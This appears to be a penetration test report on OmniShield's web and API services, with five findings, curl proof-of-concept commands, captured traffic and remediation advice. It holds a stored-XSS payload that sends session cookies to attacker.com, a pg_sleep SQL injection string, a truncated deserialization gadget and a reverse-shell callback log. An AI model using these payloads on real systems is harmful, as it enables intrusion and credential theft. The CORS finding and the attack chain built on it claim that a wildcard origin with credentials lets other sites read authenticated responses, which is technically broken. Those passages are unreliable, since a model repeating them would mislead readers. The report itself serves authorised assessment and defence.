Enterprise Security Assessment & Penetration Testing Report

> **Document Classification:** Strictly Confidential / Commercial-in-Confidence
>
> **Target Organization:** OmniShield Enterprise Systems
>
> **Assessment Period:** 2026-10-01 to 2026-10-14
>
> **Assessment Provider:** HAK-MZ Research
>
> **Lead Researcher / Assessor:** Lead Assessor & Red Team Operator

Confidentiality Notice

> **CONFIDENTIALITY NOTICE:** This document contains proprietary, legally privileged, and highly sensitive security findings regarding the infrastructure and applications of **OmniShield Enterprise Systems**. Unauthorized copying, redistribution, or disclosure without prior explicit written authorization from both parties is strictly prohibited under governing Non-Disclosure Agreements (NDA).

1. Executive Summary

1.1 Strategic Overview

During the period of October 1, 2026, to October 14, 2026, **HAK-MZ Research** conducted an authorized, manual-driven penetration test against scoped production, staging, and API environments belonging to **OmniShield Enterprise Systems**.

The primary objective was to evaluate defensive resilience, identify exploitable technical vulnerabilities, simulate advanced adversarial tactics (TTPs), and provide risk-prioritized engineering fixes.

The assessment identified a total of **5** active vulnerabilities across the tested surface:

- **CRITICAL** [1] Critical Severity flaws requiring immediate hotfixes.
- **HIGH** [2] High Severity vulnerabilities presenting severe operational or compliance risk.
- **MEDIUM** [1] Medium Severity issues affecting defense-in-depth posture.
- **LOW** [1] Low / Informational observations.

1.2 Enterprise Risk Posture

- **Overall Security Rating:** **CRITICAL** ATTENTION REQUIRED`

- **Adversarial Exploitability:** HIGH — CRITICAL attack paths allow unauthenticated remote threat actors to achieve code execution and unauthorized data extraction without internal network positioning.
- **Primary Business Exposures:** Systemic customer Personally Identifiable Information (PII) exfiltration, cloud host compromise, and lateral pivot potential into backend service meshes.

1.3 Vulnerability Severity Breakdown

CRITICAL (9.0 - 10.0)	HIGH (7.0 - 8.9)	MEDIUM (4.0 - 6.9)	LOW (0.1 - 3.9)	Total Findings
1	2	1	1	5

2. Engagement Scope & Methodology

2.1 In-Scope & Out-of-Scope Assets

Target Asset / Hostname	IP / CIDR Block	Environment	Testing Perspective
`https://api.omnishield.com/`	x.51.100.24	Production	Grey Box (Authenticated API)
`https://portal.omnishield.com/`	x.51.100.25	Production	Black Box (Unauthenticated Web)
`*.internal.omnishield.com`	10.140.0.0/16	Staging	White Box (Internal Services)
`https://billing.omnishield.com`	Third-party SaaS	Cloud	**Out-of-Scope** (Explicitly Prohibited)

2.2 Operational Standards & Rules of Engagement (RoE)

- **Testing Frameworks:** OWASP Web Security Testing Guide (WSTG v4.2), Penetration Testing Execution Standard (PTES), and NIST SP 800-115.
- **Assessment Window:** Executed between 02:00 UTC and 10:00 UTC to minimize operational latency.
- **Disruption Policy:** Destructive testing, distributed volumetric Denial-of-Service (DDoS), and intentional database corruption were strictly excluded.

- **Testing Origin:** All offensive operations originated from dedicated, verified IP addresses: `x.0.113.10`, `x.0.113.11`.

3. Vulnerability Findings Dashboard

Finding ID	Vulnerability Title	Affected Target	CVSS v3.1	Severity	Sta
SEC-2026-001	Pre-Auth Remote Code Execution via Insecure Deserialization	`api.omnishield.com/v1/rpc`	**9.8**	**CRITICAL**	Ope
SEC-2026-002	Broken Object Level Authorization (BOLA / IDOR)	`portal.omnishield.com/tenant`	**8.5**	**HIGH**	Ope
SEC-2026-003	Blind Time-Based SQL Injection	`api.omnishield.com/v1/records`	**7.5**	**HIGH**	Ope
SEC-2026-004	Stored Cross-Site Scripting (XSS)	`portal.omnishield.com/dashboard`	**6.1**	**MEDIUM**	Ope
SEC-2026-005	Overly Permissive CORS Policy with Credentials	`api.omnishield.com/graphql`	**4.3**	**LOW**	Ope

4. In-Depth Technical Findings

SEC-2026-001: Pre-Auth Remote Code Execution via Insecure Deserialization

1. Vulnerability Metadata

- **Report ID:** SEC-2026-001
- **Vulnerability Name:** Pre-Auth Remote Code Execution via Insecure Deserialization
- **Discovery Date:** 2026-10-14
- **Security Researcher:** HAK-MZ Research (Lead Assessor)

- **Threat Level:** CRITICAL
- **CVSS v3.1 Base Score:** 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
- **Vulnerability Class:** CWE-502: Deserialization of Untrusted Data / OWASP A08:2021

2. Attack Surface & Injection Points

- **Target Endpoint:** `https://api.omnishield.com/v1/rpc/dispatch`
- **HTTP Method:** `POST`
- **Vulnerable Parameter:** `data` (JSON body parameter), `X-Payload-Signature` (Header)
- **Privilege Level Required:** None (Unauthenticated)

3. Technical Summary

The application exposes an API endpoint at `/v1/rpc/dispatch` designed to parse asynchronous worker payloads. Input supplied to the `data` parameter is unpacked by the backend runtime without prior cryptographic signature validation or strict class allowlisting. By supplying an engineered gadget chain matching available libraries on the classpath, an unauthenticated attacker can achieve arbitrary OS-level command execution under the privileges of the web application daemon (`www-data`).

4. Exploitation Workflow

To successfully replicate this vulnerability, execute the following steps in sequence:

1. Enumerate public API endpoints and identify the asynchronous dispatch route at `/v1/rpc/dispatch` .
2. Generate an OS command execution gadget chain payload targeting the backend Java/Python runtime environment.
3. Base64-encode the payload and embed it into the JSON request body under the `data` parameter.
4. Transmit the crafted POST request to the endpoint and monitor for an out-of-band DNS callback or reverse TCP shell connection.

5. Network Traffic Analysis & PoC

Exploit Payload / Command:

```
curl -i -s -k -X POST \
  -H "Host: api.omnishield.com" \
  -H "Content-Type: application/json" \
  -H "User-Agent: Security-Audit-Payload/1.0" \
  --data-binary
```

```
  '{"action":"sync_task","data":"rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAU..."}' \
    "https://api.omnishield.com/v1/rpc/dispatch"
```

Captured Request:

```
POST /v1/rpc/dispatch HTTP/1.1
Host: api.omnishield.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Content-Type: application/json
Content-Length: 184
Connection: close

{
  "action": "sync_task",
  "data": "rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAU..."
}
```

Server Response (Snippet):

```
HTTP/1.1 200 OK
Date: Tue, 14 Oct 2026 04:18:22 GMT
Server: nginx
Content-Type: application/json
Content-Length: 54
Connection: close

{"status":"queued","task_id":"8a9f2c1b-6d4e-4f3a-9c2b"}
```

(Exploitation Evidence / Reverse Shell Callback: `Connection received on 198.51.100.24:41258` `Linux app-worker-prod-01 6.8.0-45-generic #45-Ubuntu SMP x86_64` `uid=33(www-data) gid=33(www-data) groups=33(www-data)`)

6. Threat Assessment & Business Risk

- **Data Confidentiality:** Total compromise of application source code, production environment variables, database credentials, and customer records stored on the server.
- **Data Integrity:** Complete ability to modify data records, deploy permanent web shells, and manipulate business logic.
- **System Availability:** Potential for complete system downtime, destruction of filesystems, or persistent backdoor installation.

- **Lateral Movement:** High potential to pivot into internal VPC subnets utilizing mounted cloud IAM service account credentials.

7. Remediation Roadmap

- **Immediate Mitigation (Hotfix):** Apply edge WAF or API gateway rules to block incoming calls to `/v1/rpc/dispatch` containing non-whitelisted characters or known serialization magic bytes. Restrict access to the endpoint via IP allowlisting.
- **Permanent Fix (Root Cause Resolution):** Eliminate object serialization in favor of pure, strongly-typed data interchange formats such as standard JSON schemas or Protocol Buffers. Enforce strict cryptographic HMAC-SHA256 signature verification over every inter-service payload prior to parsing.

8. Supporting References

- CWE-502: Deserialization of Untrusted Data (`https://cwe.mitre.org/data/definitions/502.html`)
- OWASP Deserialization Cheat Sheet (`https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html`)

SEC-2026-002: Broken Object Level Authorization (BOLA / IDOR)

1. Vulnerability Metadata

- **Report ID:** SEC-2026-002
- **Vulnerability Name:** Broken Object Level Authorization (BOLA / IDOR)
- **Discovery Date:** 2026-10-14
- **Security Researcher:** HAK-MZ Research (Lead Assessor)
- **Threat Level:** **HIGH**
- **CVSS v3.1 Base Score:** 8.5 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N)
- **Vulnerability Class:** CWE-639: Authorization Bypass Through User-Controlled Key / OWASP A01:2021

2. Attack Surface & Injection Points

- **Target Endpoint:** `https://portal.omnishield.com/api/v1/tenant/{id}/ledger`
- **HTTP Method:** `GET`
- **Vulnerable Parameter:** `{id}` (URI Path Parameter)
- **Privilege Level Required:** Low-Privilege User (Authenticated Tenant Member)

3. Technical Summary

The application endpoint `/api/v1/tenant/{id}/ledger` processes financial ledger retrieval requests based entirely on the numeric identifier supplied in the URI path. The backend application fails to verify whether the authenticated user session possesses active membership or authorization rights to access the specified tenant identifier, enabling horizontal privilege escalation.

4. Exploitation Workflow

To successfully replicate this vulnerability, execute the following steps in sequence:

1. Authenticate to the portal as a standard user belonging to Tenant A (e.g., tenant ID `1042`).
2. Intercept outgoing web traffic using an HTTP proxy (Burp Suite) while navigating to the financial dashboard.
3. Modify the numeric tenant identifier in the URI path from `1042` to an adjacent target (e.g., `1041`).
4. Forward the modified request and observe that the server returns competing tenant financial ledgers.

5. Network Traffic Analysis & PoC

Exploit Payload / Command:

```
curl -i -s -k -X GET \
  -H "Host: portal.omnishield.com" \
  -H "Authorization: Bearer eyJhbGciOiJIUzI1Ni..." \
  "https://portal.omnishield.com/api/v1/tenant/1041/ledger"
```

Captured Request:

```
GET /api/v1/tenant/1041/ledger HTTP/1.1
Host: portal.omnishield.com
Authorization: Bearer eyJhbGciOiJIUzI1Ni...
User-Agent: Mozilla/5.0
Accept: application/json
Connection: close
```

Server Response (Snippet):

```
HTTP/1.1 200 OK
Date: Tue, 14 Oct 2026 04:22:10 GMT
Content-Type: application/json
```

```
Connection: close

{
  "tenant_id": 1041,
  "organization_name": "Apex Global Logistics",
  "ledger_balance": "$1,450,200.00",
  "recent_transactions": [{"id": 501, "amount": "$45,000", "status":
"settled"}]
}
```

6. Threat Assessment & Business Risk

- **Data Confidentiality:** Mass exfiltration of confidential financial ledgers and transaction histories across all tenants.
- **Data Integrity:** Potential modification or deletion of financial records if write methods share the flaw.

7. Remediation Roadmap

- **Immediate Mitigation (Hotfix):** Implement strict session-to-tenant mapping validation rules at the API gateway level.
- **Permanent Fix (Root Cause Resolution):** Enforce centralized authorization checks on every data access controller, ensuring user claims match requested tenancy domain.

8. Supporting References

- CWE-639: Authorization Bypass Through User-Controlled Key (`https://cwe.mitre.org/data/definitions/639.html`)

SEC-2026-003: Blind Time-Based SQL Injection

1. Vulnerability Metadata

- **Report ID:** SEC-2026-003
- **Vulnerability Name:** Blind Time-Based SQL Injection
- **Discovery Date:** 2026-10-10
- **Security Researcher:** HAK-MZ Research (Lead Assessor)
- **Threat Level:** **HIGH**
- **CVSS v3.1 Base Score:** 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
- **Vulnerability Class:** CWE-89: Improper Neutralization of Special Elements used in an SQL Command / OWASP A03:2021

2. Attack Surface & Injection Points

- **Target Endpoint:** `https://api.omnishield.com/v1/records`
- **HTTP Method:** `GET`
- **Vulnerable Parameter:** `filter` (Query Parameter)
- **Privilege Level Required:** None (Unauthenticated)

3. Technical Summary

The `filter` query parameter on the records search endpoint directly concatenates user-supplied input into a backend PostgreSQL database query without parameterization or sanitization, permitting inference attacks via `pg_sleep`.

4. Exploitation Workflow

To successfully replicate this vulnerability, execute the following steps in sequence:

1. Intercept traffic to records listing endpoint.
2. Test `filter` parameter with SQL metacharacters (`'` and `;`).
3. Append time-delay payload `';SELECT pg_sleep(5)--` to query string.
4. Observe 5-second HTTP response delay confirming SQL execution.

5. Network Traffic Analysis & PoC

Exploit Payload / Command:

```
curl -i -s -k -X GET \
  "https://api.omnishield.com/v1/records?
filter=admin%27%3BSELECT+pg_sleep(5)--"
```

Captured Request:

```
GET /v1/records?filter=admin%27%3BSELECT+pg_sleep(5)-- HTTP/1.1
Host: api.omnishield.com
User-Agent: Security-Audit-Payload/1.0
Connection: close
```

Server Response (Snippet):

```
HTTP/1.1 200 OK
Date: Tue, 14 Oct 2026 04:28:15 GMT
Server: nginx
Content-Type: application/json
Connection: close
```

```
[]
*(Note: Response returned after an artificial 5.02-second delay)*
```

6. Threat Assessment & Business Risk

- **Data Confidentiality:** Complete database exfiltration via response latency inference.
- **System Availability:** Risk of database resource exhaustion and DoS through concurrent sleep queries.

7. Remediation Roadmap

- **Immediate Mitigation (Hotfix):** Deploy WAF signature rules to block HTTP requests containing SQL keywords combined with time-delay functions.
- **Permanent Fix (Root Cause Resolution):** Refactor data access layer to use parameterized queries and prepared statements exclusively.

8. Supporting References

- CWE-89: Improper Neutralization of Special Elements used in an SQL Command (`https://cwe.mitre.org/data/definitions/89.html`)

SEC-2026-004: Stored Cross-Site Scripting (XSS) in Dashboard

1. Vulnerability Metadata

- **Report ID:** SEC-2026-004
- **Vulnerability Name:** Stored Cross-Site Scripting (XSS) in Dashboard
- **Discovery Date:** 2026-10-14
- **Security Researcher:** HAK-MZ Research (Lead Assessor)
- **Threat Level:** MEDIUM
- **CVSS v3.1 Base Score:** 6.1 (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N)
- **Vulnerability Class:** CWE-79: Improper Neutralization of Input During Web Page Generation / OWASP A03:2021

2. Attack Surface & Injection Points

- **Target Endpoint:** `https://portal.omnishield.com/portal/dashboard/audit`
- **HTTP Method:** `POST`
- **Vulnerable Parameter:** `comment` / audit notes field
- **Privilege Level Required:** Low-Privilege User / Tenant Member

3. Technical Summary

User input submitted via tenant audit comment fields is stored directly in the database without HTML entity encoding. When administrative users review tenant activity logs, raw payloads execute arbitrary JavaScript in their browser sessions.

4. Exploitation Workflow

To successfully replicate this vulnerability, execute the following steps in sequence:

1. Log into portal using standard tenant account.
2. Submit audit entry containing XSS payload: `<script>fetch('http://attacker.com/log?c='+document.cookie)</script>`.
3. Log into administrative console and open tenant audit log review panel to trigger execution.

5. Network Traffic Analysis & PoC

Exploit Payload / Command:

```
curl -i -s -k -X POST \
  -H "Host: portal.omnishield.com" \
  -H "Authorization: Bearer eyJhbGciOiJIUzI1Ni..." \
  -H "Content-Type: application/json" \
  --data-binary '{"action":"log_audit","comment":"
<script>fetch(\x27http://attacker.com/steal?c=\x27+document.cookie)
</script>"}' \
  "https://portal.omnishield.com/portal/dashboard/audit"
```

Captured Request:

```
POST /portal/dashboard/audit HTTP/1.1
Host: portal.omnishield.com
Authorization: Bearer eyJhbGciOiJIUzI1Ni...
Content-Type: application/json
Connection: close

{
  "action": "log_audit",
  "comment": "<script>fetch('http://attacker.com/steal?c='+document.cookie)
</script>"
}
```

6. Threat Assessment & Business Risk

- **Data Confidentiality:** Theft of administrative session cookies and JSON Web Tokens (JWT).
- **Data Integrity:** Unauthorized privileged actions performed on behalf of administrators.

7. Remediation Roadmap

- **Immediate Mitigation (Hotfix):** Implement strict Content Security Policy (CSP) headers.
- **Permanent Fix (Root Cause Resolution):** Enforce context-aware HTML entity encoding on all user-supplied data before rendering in DOM.

8. Supporting References

- CWE-79: Improper Neutralization of Input During Web Page Generation (`https://cwe.mitre.org/data/definitions/79.html`)

SEC-2026-005: Overly Permissive CORS Policy with Credentials

1. Vulnerability Metadata

- **Report ID:** SEC-2026-005
- **Vulnerability Name:** Overly Permissive CORS Policy with Credentials
- **Discovery Date:** 2026-10-14
- **Security Researcher:** HAK-MZ Research (Lead Assessor)
- **Threat Level:** LOW
- **CVSS v3.1 Base Score:** 4.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N)
- **Vulnerability Class:** CWE-942: Permissive Cross-Origin Resource Sharing Policy / OWASP A05:2021

2. Attack Surface & Injection Points

- **Target Endpoint:** `https://api.omnishield.com/graphql`
- **HTTP Method:** `OPTIONS` / `POST`
- **Vulnerable Parameter:** `Origin` Header
- **Privilege Level Required:** None (Unauthenticated)

3. Technical Summary

The GraphQL API endpoint responds with `Access-Control-Allow-Origin: *` alongside `Access-Control-Allow-Credentials: true`, permitting third-party websites to issue authenticated cross-origin requests and read sensitive GraphQL responses.

4. Exploitation Workflow

To successfully replicate this vulnerability, execute the following steps in sequence:

1. Craft external malicious website containing script executing `fetch()` to GraphQL endpoint with `credentials: 'include'`.
2. Lure authenticated victim to site to exfiltrate authorized data.

5. Network Traffic Analysis & PoC

Exploit Payload / Command:

```
curl -i -s -k -X OPTIONS \
  -H "Host: api.omnishield.com" \
  -H "Origin: https://evil-attacker-domain.com" \
  -H "Access-Control-Request-Method: POST" \
  "https://api.omnishield.com/graphql"
```

Captured Request:

```
OPTIONS /graphql HTTP/1.1
Host: api.omnishield.com
Origin: https://evil-attacker-domain.com
Access-Control-Request-Method: POST
Connection: close
```

Server Response (Snippet):

```
HTTP/1.1 204 No Content
Date: Tue, 14 Oct 2026 04:40:12 GMT
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Connection: close
```

6. Threat Assessment & Business Risk

- **Data Confidentiality:** Exfiltration of sensitive user account data and private queries returned by GraphQL endpoint via malicious sites.

7. Remediation Roadmap

- **Immediate Mitigation (Hotfix):** Remove wildcard origin headers from API gateway configurations supporting credentials.

- **Permanent Fix (Root Cause Resolution):** Configure CORS middleware to validate `Origin` against whitelisted domains.

8. Supporting References

- CWE-942: Permissive Cross-Origin Resource Sharing Policy (`https://cwe.mitre.org/data/definitions/942.html`)

5. Exploitation Narrative & Attack Chaining

In enterprise environments, individual Low and Medium findings combine to produce Critical business compromise. The attack chain executed during this assessment:

1. **Reconnaissance & Token Theft:** The assessor leveraged a permissive CORS configuration (`SEC-2026-005`) on the GraphQL endpoint to extract an administrator's active session token via an external phishing vector.
2. **Privilege Weaponization:** Using the harvested token, an attacker injected a persistent XSS script (`SEC-2026-004`) into the tenant management audit view.
3. **Internal Trigger & Host Compromise:** When secondary administrators reviewed tenant logs, the script executed silently within their browser context, dispatching a malicious serialized object into `/v1/rpc/dispatch` (`SEC-2026-001`), yielding interactive shell access on production backend infrastructure.

6. Strategic & Architectural Recommendations

- **Short-Term Remediation (0–30 Days):** Patch Critical & High Vulnerabilities (`SEC-2026-001`, `SEC-2026-002`). Implement compensating WAF rules in production immediately. Rotate all database passwords, JWT signing keys, and cloud provider API keys.
- **Mid-Term Hardening (30–90 Days):** Migrate authorization logic to a centralized policy engine (e.g., Open Policy Agent - OPA) to eliminate BOLA/IDOR vulnerabilities. Strip root privileges from containerized application runtimes.
- **Long-Term Governance (90–180+ Days):** Mandate static code analysis (SAST), software composition analysis (SCA), and container image scanning as blocking gates in CI/CD merge pipelines.

7. Formal Acceptance & Sign-off

Lead Security Assessor	**Client Technical Authority**
Name: ____	**Name:** ___
Title: Principal Red Team Operator	**Title:** Chief Information Security Officer (CISO)

Signature: ___	**Signature:** ___
Date: 2026-10-14	**Date:** ___